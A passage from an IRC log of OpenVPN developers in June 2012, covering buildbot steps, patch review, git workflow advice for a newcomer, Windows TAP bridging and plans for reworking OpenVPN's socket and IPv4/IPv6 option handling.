./configure && make && make check && make clean? 04:03 <@mattock> I had "make clean all" at the end, but that rebuilds everything _after_ cleaning up, right? 04:03 <@dazo> yeah, even though this is probably better: ./configure && make clean && make && make check 04:03 <@mattock> ah, ok, I can use that also, no biggie 04:04 <@dazo> or .... make clean all == make clean && make 04:05 <@mattock> from buildbot perspective, it's best to split everything into as small steps as possible... (somewhat) quicker to see where it failed 04:06 <@mattock> it's ./configure && make clean && make && make check now 04:06 <@mattock> let's see if something breaks 04:06 <@dazo> ack 04:12 <@mattock> ok, passing CFLAGS worked 04:13 <@mattock> then it's polarssl build test and connectivity tests, and I'm done 04:47 <@mattock> should work now, although for some reason CFLAGS are not passed to opensuse polarssl builders... probably some glitch 05:09 <@dazo> mattock: some issues with the community VPN now? 05:09 <@dazo> seems to be dead slow to connect to 06:07 <@dazo> hmm ... maybe there are some local network issues .... need to check out that after lunch :) 06:29 <@cron2> it's not particularily slow from here 06:32 <@mattock> vpn seems ok from here 07:21 <@dazo> Seems there's something troubling the wireless router ... so will probably need upgrade it 07:36 * ecrist hates moving 08:04 <@cron2> full ack. I hope I won't have to move again any time soon 09:39 < ecrist> spent the last three days from about 0600 to 0100 moving 09:39 < ecrist> and I'm only half done 11:04 <@mattock> ecrist: lots of stuff, eh? 11:04 <@mattock> I hate stuff 11:08 <@dazo> ... but loves gadgets? :-P 11:12 -!- raidz_afk is now known as raidz 12:17 -!- dazo is now known as dazo_afk 12:26 < plaisthos> As for the 2.3 release I post a newer version of the port and tmp cleanup to the ml 12:27 <@raidz> mattock: I got the digicert stuff verified, please send me an e-mail of the certs you need to I can request them (when you have a moment) 12:28 <@raidz> *so 12:31 <@cron2> plaisthos: thanks 12:49 < plaisthos> and for the socket stuff ... 12:50 < plaisthos> that could take a while 14:01 <@cron2> uh, big bunch of cleanup patches... 14:03 <@cron2> I think patch 3/6 and 4/6 are "meeting matter" - I'm fine with them, but that's sort of "more religious than just code changes", so it would be good to have James' ok on them 14:03 <+krzee> [03:27] <cron2> .oO(a windows buildslave with t_client tests would be great, tho) 14:03 <+krzee> i should be able to provide a couple windows vms with low resources soon 14:03 <@cron2> patch 5/6 is touching one of my work items (ir6->netbits), and I need to think a bit more about this... 14:03 <+krzee> ecrist will have physical access to the esxi box before he sends it to my colo 14:04 <@cron2> krzee: mattock is the one who needs to set this up :-) 14:04 * cron2 leaves all the nastiness to mattock, and focuses on the good bits (*BSD) 14:04 <+krzee> ok, ^ @ mattock ;) 14:06 <+krzee> mattock, if you dont need/want them let me know 14:28 < plaisthos> cron2: yes, I scratched my head, when I saw the ir6->netbits stuff 14:29 < plaisthos> but right now the netbits is unsigned and the check does >= 0 14:29 < plaisthos> which is always true :) 15:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:38 <@cron2> plaisthos: yeah, this is "weird history" - I copy-paste-modified the IPv4 code, but changed netbits to "unsigned" because "it will never be negative" - and that changed the resulting code to what you've seen. What I've been thinking about is whether I want to distinguish between "this is a network route" and "single host only" (as IPv4 does) or whether I just do not care "a host == /128". But this needs to be cleaned some way. 15:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:21 < plaisthos> cron2: 3/6 and 4/6 also were the first steps of my socket cleanup 16:21 < plaisthos> these connections ifdefs everywhere drove me mad when looking at the code :) 17:52 -!- Netsplit *.net <-> *.split quits: @raidz 17:52 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:52 -!- Netsplit over, joins: raidz 17:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 19:13 -!- shuffle2 [~shuffle2@iarcee.ghettoha.xxx] has joined #openvpn-devel 19:14 < shuffle2> is there an example of the win32 TAP interface being used? 19:14 < shuffle2> i specifically mean the device in non-TUN mode 19:14 < shuffle2> even more specifically, i'm wondering if there is some good sample code to look at for reading frames from the device in a fast and async way 20:41 <+krzee> would it be worth adding a warning when not being started as root / admin, something along the lines of "WARNING, you are not root, this may cause problems adding routes" 20:41 <+krzee> or whatev? 21:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:22 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Jun 19 2012 03:09 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 03:18 -!- dazo_afk is now known as dazo 03:23 <@dazo> shuffle2: I don't think there's anything obvious, at least which strikes my mind now ... OpenVPN is probably the biggest user base, but that code can be tricky to read ... But I'm sure there are a few other smaller projects which also depends on this driver, but I can't recall them now 03:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:26 <@dazo> plaisthos: Great work! .... I agree with cron2 on 3/6 and 4/6 ... I'd like to have James comments on those two. 1/6 and 2/6 can be pulled into 2.3, IMO 03:27 <@dazo> plaisthos: 6/6 I'm a bit unsure of ... I'm not too much fan of type casting to avoid compiler warnings ... and I recall some earlier patches also looking into similar issues on the same functions, IIRC ... maybe andj have some thoughts about it? 03:28 < shuffle2> dazo i've found qemu and skyeye have ok looking code for this 03:29 <@dazo> ahh, qemu is obvious on the Linux side at least yes .... skyeye I don't know about :) 03:29 < shuffle2> my aim is to use the device driver in a similar manner...virtual nic for emulator 03:29 < shuffle2> my only remaining question is...is extra configuration required in order to actually connect the virtual nic to the network? 03:30 < shuffle2> currently i manually tell windows to "bridge" my real nic and the tap 03:30 < shuffle2> otherwise the tap can't reach the outside world 03:30 < shuffle2> is there a better way? 03:30 <@dazo> then qemu is probably a good one to watch ... there's also this native KVM (https://lwn.net/Articles/447556/) which might have a simpler code base too 03:30 <@vpnHelper> Title: Native Linux KVM tool v2 [LWN.net] (at lwn.net) 03:31 <@dazo> hmm ... well, I know that OpenVPN emulates a DHCP server on Windows, to provide the IP address setup 03:32 <@dazo> But routing setup and all that other stuff are using a separate approach ... there are 2-3 methods implemented ... all from API based to calling route.exe 03:33 <@dazo> but basically, giving the TAP device a separate network segment ... and add routes to that IP address should be what's needed 03:33 < shuffle2> why can't i let it get the ip info from a real dhcp server? 03:33 <@dazo> but you might need to enable network sharing on Windows too (to get NAT working) 03:34 < shuffle2> i don't really want NAT, more like what vmware calls "bridged" 03:34 <@dazo> Well, because the TAP device gets the DHCP requests from Windows .... so the application using the TAP device gets these requests 03:35 < shuffle2> i already get real dhcp response to the tap device once the tap is bridged to the real adapter 03:35 <@dazo> and to do the other way around ... you need to bridge your real eth and the tap ... and run the DHCP client in your emulator stuff 03:35 < shuffle2> maybe i can just script this or tell users to do it :p 03:36 <@dazo> yeah, probably 03:37 < shuffle2> how does vmware do it though? 03:37 * dazo dunno 03:37 <@dazo> I've never used vmware at all 03:37 < shuffle2> virtualbox does the same thing 03:37 * shuffle2 should probably look 06:05 * cron2 sends some ACKs and some semi-ACKs to the list 09:19 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 09:24 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:24 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:13 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:13 -!- mode/#openvpn-devel [+o raidz_afk] by ChanServ 11:13 -!- raidz_afk is now known as raidz 11:54 -!- dazo is now known as dazo_afk 14:04 <@mattock> got the code-signing certificates, will test them tomorrow 14:05 < ecrist> woot 14:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:31 -!- Guest24216 [root@freebsd/developer/variable] has quit [Ping timeout: 265 seconds] 16:02 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 16:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:44 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 18:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:03 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 19:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 19:14 -!- raidz is now known as raidz_afk 19:29 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 260 seconds] 23:29 -!- variable [root@freebsd/developer/variable] has quit [K-Lined] 23:50 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel --- Day changed Wed Jun 20 2012 01:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 01:11 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:47 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:54 <@vpnHelper> RSS Update - tickets: #215: port-share process hangs if there's alot of traffic over it <https://community.openvpn.net/openvpn/ticket/215> 03:20 -!- dazo_afk is now known as dazo 03:21 <+janjust> ah gm dazo 03:21 <@dazo> janjust: hey! :) 03:21 <+janjust> how's it going dazo 03:21 <@cron2> busy :) 03:21 <@dazo> heh :) 03:22 <+janjust> hehe 03:22 <@dazo> yeah ... unfortunately, quite busy 03:22 <+janjust> quick question then dazo: if I want to make a patch for the 2.3 code base 03:22 <+janjust> which git command should I use to check out? 03:22 <@dazo> take the latest master 03:23 <@dazo> (git fetch origin ... git rebase origin/master) 03:23 <@dazo> commit dc4abbb3a8a184d9c696dbba90cdb98b7da70e77 should be the latest 03:24 * janjust is a total git n00b 03:24 <@dazo> no worries :) 03:24 * dazo hav 03:24 <@dazo> ugh, wrong focus 03:25 <@dazo> (typing in three parallel windows have it's disadvantage with auto-focus ;-)) 03:26 <@dazo> janjust: I don't know how much of a n00b you are ... but I can surely help you out whenever you need some help :) 03:26 <+janjust> thx dazo; I'm not going to commit anything, I just need to know the proper 'git clone' command (the equiv of 'svn checkout') 03:26 <@dazo> git checkout master 03:27 <+janjust> that's all I need :) 03:27 * dazo brb 03:33 <@dazo> janjust: the tricky thing with git is that you have local and remote branches 03:33 <@dazo> and git checkout master will only checkout the local version 03:33 <+janjust> I think I managed to do it (after a 'git clone') 03:34 <@dazo> so ... git fetch [origin|<remote name>] will fetch and update remote branches .... and git rebase origin/master (remote-name/branch-name) will rebase your currently checked out branch against the latest remote-name/branch-name branch 03:34 <@dazo> git clone will always give you the latest one 03:35 <@dazo> (there's also git pull ... which does git fetch + git merge ... but that can cause more challenges along the route, so using git fetch + git rebase manually gives you more control) 03:36 <+janjust> hmmm OK; as I said, I'm not going to do any commits; I just want to create a patch based on whatever is used for 2.3alphaN at the moment 03:38 <@dazo> don't be afraid of commits ;-) and doing a commit and using 'git format-patch' to extract the commit ... that's even better if you decide to share it with more people, as it contains the commit message as well 03:38 <@cron2> janjust: any commit you do only affects the local repository, unless you do "git push" to send it elsewhere 03:38 <+janjust> got it , cron2... 03:38 <@cron2> janjust: so doing commits, and then "git format-patch -1" will give you nicely formatted patches with commit messages attached and everything :-) 03:39 <+janjust> ooo cool... I'll remember that one 03:39 <@cron2> that's what's significantly different between svn and git - with svn, all commits go to "the repository", with git, not 03:39 <@cron2> (well, with git, there is not "the repository" - there are many of them, and you can push and pull commits around) 03:39 <+janjust> hehe what was wrong with CVS :P 03:39 <@dazo> everything! 03:39 <+janjust> lol 03:40 <+janjust> I've used it for years without too many problems 03:40 <@cron2> nothing wrong with CVS :-) - except that it doesn't really work well in "loosely coupled" groups 03:40 <@dazo> CVS works .... but when you begin to want to do branching and tagging ... CVS is a pain 03:40 <@cron2> and stuff like "move file somewhere else, but keep track of its history" really suck 03:40 <@dazo> and if you begin to move files around ... 03:40 <@cron2> yeah 03:40 <+janjust> guys... I started out using SCCS - CVS was *heaven* compared to that 03:40 <@dazo> hehehe 03:41 <@mattock> dazo: when can we get the 2.4 branch? 03:41 <@cron2> janjust: so did I :-) - sccs, rcs, cvs - boy, was cvs powerful. I still use CVS at some projects, but especially the "branches are oh so painful" bit... 03:42 <@dazo> mattock: For 2.3, I would like to branch out a 2.3-beta branch when we reach beta quality .... for 2.4/2.5 ... we'll branch out an alpha branch much earlier 03:42 <+janjust> we're getting old, cron2 :) 03:42 <@dazo> mattock: I'd like to try out this 'late' branching for 2.3 ... to have a good measurement when we do the 'early' branch out on 2.4 03:42 <@cron2> janjust: indeed :-) and grey hair as well. Need to grow a longer beard, though... must have that as an old-timer unix guru 03:43 <@mattock> cron2: does $wife like the beard? 03:43 <@mattock> or is it "pleasepleaseplease cut it, you look so much younger without it" :D 03:43 <@cron2> mattock: not particularily so :-) 03:43 <@dazo> hahaha ..... you hear that one too? 03:43 <+janjust> $wife? mattock's wife is an environment variable ;) 03:44 <@dazo> lol 03:44 <@dazo> janjust: would guess it's easier to manipulate an environment variable ;-) 03:44 <+janjust> yep dazo: unset it, replace it, make it dynamic etc etc 03:44 <+janjust> (ooo this is getting far too nerdy) 03:44 <@dazo> hehe 03:45 <+janjust> I'm not even beginning about child processing and inheriting env vars - that's too much Oedipus 03:45 <@dazo> lol ... so so true :) 03:45 <@mattock> janjust: yeah, she changes value depending on the day, the environment, what I say, etc. 03:46 <@mattock> you never know what she contains 03:46 <+janjust> lol mattock 03:46 <@mattock> well, actually, she usually pretty tame :) 03:46 <@mattock> emphasis on _usually_ :) 03:46 * dazo thinks about $PS1 .... 04:26 <@mattock> uh, no more emails for today, need to work :) 04:54 <@mattock> epic fail, again writing emails 04:56 <@mattock> topic page updated: https://community.openvpn.net/openvpn/wiki/Topics-2012-06-21 04:56 <@vpnHelper> Title: Topics-2012-06-21 – OpenVPN Community (at community.openvpn.net) 05:32 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 06:00 <@cron2> mattock: Thomas Habets' SSL Engine stuff might warrant discussing 06:54 <@dazo> ack ... I added it to the agenda 07:05 <@mattock> ok, I'll test signing with digicert certs and see if they work 07:12 -!- habets [~marvin@194.9.8.26] has joined #openvpn-devel 08:17 <@mattock> why don't certificates ever work properly on the first try... 09:03 <@dazo> mattock: would that be any fun? 09:09 < plaisthos> I started an idea page for my socket rewrite: https://community.openvpn.net/openvpn/wiki/SocketRework 09:09 <@vpnHelper> Title: SocketRework – OpenVPN Community (at community.openvpn.net) 09:09 < plaisthos> Even at high level I am not sure how to handle some things 09:11 <@cron2> plaisthos: the first two bullets - dazo and I have discussed this a bit as well, and I think that getting *rid* of udp6 and tcp6 is the way forward - and then introduce "-4" and "-6" switches, aka "--ipv4" and "--ipv6" 09:11 <@cron2> this would be much more in line to what everybody else does 09:12 < plaisthos> cron2: ah, yes that makes more sense 09:13 <@cron2> bullet #5: on some OSes, you can do a "udp46" or "tcp46" listening socket, having both v4 and v6 on the same socket (and incoming v4 is then presented as ::ffff:<ipv4> source address). So it's not *strictly* required - but would certainly be a "very nice to have!" feature 09:13 <@dazo> plaisthos: that's great! and yeah, -4 / -6 is probably a better approach to enforce only one of the protocols 09:14 <@cron2> having both an UDP and a TCP socket available at the same time is something we could really make good use of - use udp/1194 for normal cases, and in filtered-to-death-networks fall back to tcp/443, tcp/22, ... 09:14 <@cron2> bullet #4: ACK 09:14 <@dazo> and that's been requested for years already too 09:15 <@cron2> bullet #3: I'm not sure the complexity is warranted - maybe just require that --remote resolves to a single IP address for udp p2p or that -4/-6 is used, so that's unambiguous 09:15 < plaisthos> cron2: I have to look into the getaddrinfo with AF_UNSPEC, AI_PASSIVE flag on multiple OS, my hope is that the OS return sensible addrinfo lists that listen on all addresses 09:16 < plaisthos> cron2: Think of the remote warrior 09:16 <@cron2> plaisthos: as far as I understand, this works on all unixes *but* OpenBSD, and also not on Windows. (... which is bad...) 09:16 < plaisthos> he just want to connect to his openvpn server which is remote foo.bar udp 09:17 <@cron2> plaisthos: do you see "the remote warrior" using udp p2p? since there is *no* handshake in p2p mode, and you need to know the remote address beforehand... 09:17 < plaisthos> cron2: oh then p2p is the wrong term here 09:17 <@cron2> (maybe I'm misunderstanding p2p mode, but ISTR that this is "no SSL, no handshake, just static-key encrypted p2p tunnel" 09:17 < plaisthos> but from the socket point of view in openvpn udp server/udp client/p2p mode with udp is all the same 09:19 <@cron2> ok, so this is somewhat of a misnomer - if you have a server, it's p2mp mode, even if there is only one client :-) 09:19 <@cron2> p2p is fully symmetric 09:19 <@dazo> --mode p2p is the default mode ... which requires --ifconfig 10.8.0.1 10.8.0.2 on one side, and --ifconfig 10.8.0.2 10.8.0.1 on the other side .... and iirc, this doesn't support --tls-{server,client} which is needed for PKI stuff 09:19 <@cron2> --mode p2p 09:19 < plaisthos> cron2: ah okay, I though of the client running p2p and server p2mp mode 09:20 <@dazo> so, p2p is only supporting static encryption, using --secret 09:20 * cron2 is a bit confused right now 09:20 <@dazo> if --mode is set to client or server ... then openvpn is in p2mp mode 09:21 <@dazo> which may use --tls-{server,client} if PKI is to be used ... and it uses and IP address pool (--ifconfig-pool) 09:21 <@cron2> ok, here we go - p2mp client runs "--client --proto udp", while real-p2p clients do "--mode p2p --proto udp", or no "--mode" at all 09:21 <@dazo> correct 09:21 <@cron2> --client means "connec there, show certificate, get configuration data, do 'remote warrior' things" 09:21 < plaisthos> cron2: yes, I was thinking about the --client --proto udp client type 09:22 <@cron2> plaisthos: ok, sorted out, so this needs to be spelled out :-) - we do have --server --mode udp for "udp-server" 09:23 <@dazo> (--client == --mode client + --pull + --tls-client) 09:23 <@cron2> aaah 09:23 <@cron2> and then, there is --proto tcp-client + --proto tcp-server, which is NOT the same as --server --proto tcp 09:23 <@dazo> correct 09:24 <@dazo> --proto tcp isn't valid 09:24 <@dazo> (iirc ... or maybe only functional in --mode p2p) 09:24 <@cron2> dazo: tcp is perfectly fine 09:24 < plaisthos> dazo: proto tcp is valid for the client 09:24 <@cron2> look at t_client test #1 :-) 09:24 < plaisthos> it is mapped to tcp-client in the source 09:24 <@cron2> oh 09:24 < plaisthos> and for the server it is mapped to tcp-server 09:24 <@dazo> ahh, okay ... I've only been bitten by --proto tcp on the server side then 09:25 < plaisthos> iirc 09:25 <@cron2> --proto tcp for the server works as well :-) (but needs --server in addition to it) 09:25 < plaisthos> not sure on the server side 09:25 <@dazo> I know I have received errors a few places when typing --proto tcp ... 09:25 <@cron2> [root@phillip ~/openvpn-test-server]# grep tcp *tcp*/server.conf 09:25 <@cron2> proto tcp 09:25 * dazo need to retest that 09:25 <@cron2> yay for too much flexibility :-) 09:25 <@dazo> $ openvpn --proto tcp --dev tap 09:25 <@dazo> Options error: --proto tcp is ambiguous in this context. Please specify --proto tcp-server or --proto tcp-client 09:25 <@dazo> Use --help for more information. 09:26 <@cron2> dazo: well, do --proto tcp --dev tap --remote ... 09:26 <@cron2> or --proto tcp --dev tap --server ... :-9 09:26 <@dazo> $ openvpn --remote 1.2.3.4 --proto tcp --dev tap 09:26 <@dazo> Options error: --proto tcp is ambiguous in this context. Please specify --proto tcp-server or --proto tcp-client 09:26 <@dazo> Use --help for more information. 09:26 < plaisthos> dazo: --mode client or --pull :) 09:27 <@cron2> ah, I thought --remote would turn that on automatically 09:27 < plaisthos> cron2: nah, you need remote for real p2p cleints too ;) 09:27 <@cron2> good point 09:27 <@dazo> yeah ... --mode seems to be the trick 09:27 <@cron2> dazo: test#1 is run with openvpn --client --proto tcp --dev tun --remote ... 09:28 <@dazo> yeah, --client explains it 09:29 <@cron2> anyway, back to bullet #3 09:30 <@cron2> how does it currently now whether the udp socket it's using is a "client" or "server" udp socket? 09:30 <@cron2> does it *need* to know? 09:30 < plaisthos> it does not need to know 09:30 < plaisthos> just listens for packets 09:30 <@cron2> (except that the client socket is not bind()'ed to a specific port or IP address, unless you tell it to) 09:30 < plaisthos> default is to bind to port 1194 09:31 <@cron2> even on the client? 09:31 < plaisthos> yes 09:31 < plaisthos> unless --nobind is used 09:31 <@cron2> mmmh 09:31 <@dazo> I think windows is different there 09:31 < plaisthos> or if port xx is used then it is bound to that port 09:31 <@cron2> ah 09:32 <@dazo> (at least, I see *nix clients using 1194 as client port ... but Windows is random >1024 09:32 <@cron2> the standard sample client config has "nobind", which I've blindly copied everywhere without really noticing 09:32 <@dazo> yeah, --port defines it ... actually --port XXXX == --lport XXXX + --rport XXXX ... at least on *nix 09:33 <@cron2> so all my client configs do "nobind", which explains why they don't bind, and I have no collisions even if there are multiple clients 09:33 <@dazo> +1 09:33 <@cron2> yeah, good point 09:35 <@cron2> so for #3, things break if a socket is bound to "any+port", and the OS in question doesn't support IPv4+IPv6 on the same socket 09:36 <@cron2> but by just having --nobind the default on --mode client --proto udp sockets, things would just work - but that would change user-visible behaviour 09:36 <@dazo> well, that's not necessarily a disastrous change ... so that's something we sure can scope for 2.4 09:37 <@cron2> agree 09:37 < plaisthos> cron2: and for tcp sockets as well then 09:37 <@cron2> agree again :) 09:38 < plaisthos> which means that a bind option is needed 09:38 < plaisthos> that restores the old behavior on clients 09:38 <@cron2> we need better documentation that explains client-server usage (necessarily asymmetric) and real p2p usage (symmetric, no crypto, binding on both sides needed) 09:38 <@cron2> ack 09:39 <@cron2> for "real" p2p mode, which is not in the list of issues yet, I'd go for "you just have to specify IP address plus port, and if you mix v4/v6 there, it will just not work" 09:41 <@dazo> What might be worth having in mind when analysing why things are as they are ... openvpn 2.0 opened up for p2mp mode ... openvpn 1.x was purely only p2p mode .... and 2.0 just extended the current code base for p2mp ... which really made things quite messy a few major releases later on 09:42 < plaisthos> dazo: Yes, the socket code is even more messy than the user visible mess 09:42 <@dazo> I'm not against a complete overhaul of the whole option stuff too ... if that makes the understanding of the code and user experience (configuration wise) easier to understand 09:42 <@cron2> dazo: I'm aware of that, and this shows :-) - so maybe we might even want to split the manpage into openvpn.8, openvpn-reference.8, openvpn-p2p.8, openvpn-p2mp.8 "or so" 09:43 <@dazo> yeah 09:43 <@cron2> do we know anyone with technical writing skills...? 09:43 <@dazo> janjust? 09:44 <@cron2> hehe. he just went into hiding again 09:44 <@dazo> :) 09:44 <@dazo> but we could ask him ... considering this is 2.4 stuff 09:44 <@dazo> at least, he definitely knows what he is writing about 09:45 <@cron2> he'll fill the manpages with elliptic crypto stuff that nobody else understands! 09:45 <@dazo> lol 09:48 < plaisthos> and to add the fun the ipv4/ipv6 stuff also applies to the socket and http-proxy options 09:48 < plaisthos> also at the moment socks and http-proxy is always ipv4 09:50 <@cron2> plaisthos: regarding the updated list, now bullet #4 - let's not do udp-client/udp-server, but keep symmetry. Either have both sides "bind in all there is" and try all remote addresses - or just force a single address per side (as that address is used for sending packets there, and for *accepting* packets, so "multiple remote addresses" is kind of undefined for incoming packets) 09:51 <@cron2> #4/b could then be "handle multiple IPv4 and IPv6 addresses per side, probe for the fastest pair and use that", but that's sci-fi stuff 09:51 < plaisthos> yeah, a eyeball implementation or whatever it is called 09:52 <@cron2> happy eyeball, but that's just trying multiple destination addresses in parallel, not multiple sources as well 09:52 <@cron2> there's currently no real work going on at IETF how to handle multiple source addresses on a machine in a reasonable way if one combination does not work 09:53 < plaisthos> I have marked the udp-client/udp-server so other will know this was considered 09:53 <@cron2> plaisthos: maybe mention at #3 (or #2 as well?) that the client side would do --nobind by default now, unless you want that 09:58 * cron2 has added spme thought to #4 09:58 * plaisthos noticed 09:59 * plaisthos also noticed that trac does not lock wiki pages for editing 09:59 <@cron2> it doesn't? wah 10:00 <@cron2> ok 10:00 < plaisthos> I think If I work on the socket framework I will add some other points to that list 10:00 * cron2 is fine with the document so far, but has no more time - $daughter decided that she wants to sit on my arm and that computer is bah 10:00 * cron2 waves 10:00 <@cron2> cu later 10:04 < plaisthos> cu 10:17 * ecrist waves 11:00 <@cron2> plaisthos: just got a happy user for you... "17:39 < shaddi> cron: OpenVPN auf Android 4.0.4 erfolgreich mit TUN getestet :) 11:03 -!- raidz_afk is now known as raidz 12:22 -!- dazo is now known as dazo_afk 12:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 12:54 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:54 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:12 <@mattock> maybe for 2.4 we could get rid of lots of historic stuff from 1.x and 2.x? 15:13 <@mattock> we could try sending a few emails to openvpn-user "threatening" to remove stuff and see what happens :) 15:13 <@mattock> in similar vein to what we did when removing Win2k support 15:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 15:27 <+krzee> like what? 15:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:06 -!- raidz is now known as raidz_afk 21:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 246 seconds] 21:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jun 21 2012 02:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:01 <@mattock> krzee: not sure, just a thought 02:38 -!- dazo_afk is now known as dazo 02:40 <@dazo> mattock: like removing p2p mode and just having p2mp mode? ;-) ... I'm sure that would make a lot of noise, but it sure would simplify the code a lot :-P 02:40 <@mattock> yeah, something like that :D 02:40 <@mattock> we can test how much noise by asking 02:41 <@dazo> on a more serious side ... I think I would prefer to have such a discussion with James first ;-) 02:42 <@mattock> wouldn't hurt 02:45 <@cron2> we can't get rid of p2p mode - this is used by people in mesh networks (etc), and one of the strengths of openvpn 02:45 <@cron2> changing the default behaviour for --bind and --nobind will cause enough noise 02:46 <@dazo> good points! 02:48 * dazo is reading the latest LWN ... and found this quote by James Bottomley: 02:48 <@dazo> "When posting patches for review, there is a natural human desire to show your best work, but that is actually somewhat counter-productive. The patch does not need to be perfect, and the discussion about the patch may help build a community of people interested in the feature. In addition, an imperfect patch makes people think they can still give input." 03:04 <@mattock> dazo: yep, it's true that posting crappy patches generates more discussion than perfect patches :) 03:04 <@mattock> and it also builds a community, which is good 04:08 <@dazo> For those having a LWN subscription (highly recommended!) there's a pretty good article about patch submission, even though aimed at kernel hackers - much of it is general enough to also cover things which might hit OpenVPN too (article: "LinuxCon Japan: Advice for new kernel hackers") 05:17 < plaisthos> cron2: :) 05:20 < plaisthos> mattock: I noticed when I post my whitespace broken patch :D 05:23 <@dazo> I usually clean up such things, unless it's too much of it .... and I also use --whitespace=fix when applying patches, to clean up what can be automatically cleaned up 05:24 <@cron2> mmmh, that explains :-) - I've had a merge collision with one of my patches recently, where the original line had a trailing whitespace 05:24 <@dazo> if you use git diff with colours enabled ... you'll see those offenders instantly 05:25 <@dazo> add this to ~/.gitconfig ... 05:25 <@dazo> [color] 05:25 <@dazo> branch = auto 05:25 <@dazo> diff = auto 05:25 <@dazo> log = auto 05:25 <@dazo> interactive = auto 05:25 <@dazo> status = auto 05:25 <@dazo> pager = true 05:28 <@cron2> pretty :-) so how does trailing-whitespace look like? 05:28 <@dazo> like a red-block where it happens 05:28 <@cron2> ah 05:28 <@dazo> you really can't miss it :) 05:28 <@cron2> clever 05:29 <@dazo> it'll even "scream" about tabs instead of spaces too 05:30 <@dazo> cron2: when you do git rebase (which I presume you do when you get those conflicts) ... I believe you can give --whitespace=fix or --ignore-whitespace to git rebase 05:30 <@dazo> (see git-apply man page for more info) 05:37 < plaisthos> openvpn has far too many obscure options 05:37 <@dazo> hehehe ....really!?!?! ;-) 05:39 <@dazo> but whenever I look at the options.c code ... I always wonder if it is a clever code ... or a confusing mess? .... The same code tackles command line, config files (which can be "included" using the 'config' option inside files), push options, inline files and connection block parsing 05:40 < plaisthos> Yeah, I wanted to remove the warning if the client has tun-ipv6 on but the server does not 05:41 < plaisthos> but I gave up after 20 min or so 05:42 <@dazo> When socket.c is overhauled ... options.c is probably a worthy candidate ... either that or route.c probably 05:42 < plaisthos> :) 05:42 < plaisthos> I am think socket.c is enough for me ;) 05:43 <@dazo> and I am really grateful that somebody have time and *courage* to look at that :) 05:43 <@dazo> we've talked about it here more times, but nobody here have had enough time to do so yet ... so that you begin to look at it, is absolutely fantastic! 05:51 <@cron2> dazo: whut, you can do "config foo" *inside* a config file? 05:51 <@dazo> yeah 05:52 <@cron2> plaisthos: leave the tun-ipv6 warning to me, it's on my TODO list 05:52 <@cron2> dazo: this is brilliant code, just too brilliant for us mere mortals to understand :) 05:53 <@dazo> cron2: exactly ... it's so brilliant it's almost too brilliants 05:53 <@cron2> yeah, hurts the eyes :) 05:53 <@dazo> :) 07:11 < plaisthos> dazo: Okay thanks. It annoyed me that in Android I always get a warning which confuses the user and is not useful :) 07:19 <@mattock> dazo: re: options.c cleverness... if it's anything like the Python-based buildsystem I worked with, I'd say it's a tad too clever 07:19 <@mattock> it seems James loves making clever code, which, unfortunately, can be very difficult to read (=decipher) 07:19 <@dazo> yupp 07:20 <@mattock> I prefer dead simple code that is easy to understand, even if it's less sophisticated 07:20 <@mattock> otherwise I forget what it does myself after a few weeks 07:20 <@mattock> :P 07:20 <@dazo> I think the py-build is easy, code-wise, compared to options.c ... because it iterates in surprisingly many ways 07:20 <@mattock> yeah, probably 07:20 <@dazo> (options.c iterates) 07:21 <@mattock> the code flow in the python build system was fairly straightforward, but it used some fairly neat (or nasty?) hacks to integrate with the autotools 07:21 <@mattock> buildsystem 07:22 <@dazo> yeah, that's what I mean about py-build being "simpler" :) 07:23 <@mattock> dazo: do we need to add some of the patches from this page to today's agenda: 